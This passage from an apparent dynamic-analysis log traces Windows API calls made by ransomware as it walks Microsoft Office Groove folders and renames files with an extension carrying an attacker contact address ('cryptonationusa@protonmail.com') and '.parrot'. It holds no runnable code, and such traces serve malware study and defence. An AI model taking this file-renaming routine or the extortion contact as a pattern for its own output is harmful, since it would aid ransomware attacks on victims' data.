office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.913] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.913] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.914] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.914] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x267, lpOverlapped=0x0) returned 1 [0192.914] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.918] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.918] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.921] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.921] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14307, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x14307, lpOverlapped=0x0) returned 1 [0192.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.934] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.934] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.936] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.936] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xca5a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xca5a, lpOverlapped=0x0) returned 1 [0192.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.948] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.948] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.950] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.950] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x64b3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x64b3, lpOverlapped=0x0) returned 1 [0192.951] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.957] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.957] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.958] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.959] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13e, lpOverlapped=0x0) returned 1 [0192.959] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.965] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.965] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.966] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.967] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2095, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2095, lpOverlapped=0x0) returned 1 [0192.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.973] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.973] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.974] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.974] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd78, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xd78, lpOverlapped=0x0) returned 1 [0192.975] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.979] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0192.979] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xff0cc560, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xff0cc560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.014] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe2aa2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADDGIF~1.PAR")) returned 1 [0193.015] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0193.017] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0193.017] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.017] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0193.017] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0193.017] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0193.018] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.018] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.019] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.019] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x244, lpOverlapped=0x0) returned 1 [0193.019] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.026] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.026] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.027] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.028] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xae8, lpOverlapped=0x0) returned 1 [0193.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.033] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.033] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.034] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.034] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x383, lpOverlapped=0x0) returned 1 [0193.034] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.039] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.039] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.040] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.040] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x271, lpOverlapped=0x0) returned 1 [0193.040] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.046] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.046] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.048] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.048] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x369, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x369, lpOverlapped=0x0) returned 1 [0193.048] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\error.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\error.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.053] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.053] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.066] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.066] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14484, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x14484, lpOverlapped=0x0) returned 1 [0193.069] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.076] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.076] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.078] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.078] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x43a, lpOverlapped=0x0) returned 1 [0193.078] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0193.084] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0193.084] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0193.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.085] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x829, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x829, lpOverlapped=0x0) returned 1 [0193.086] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), 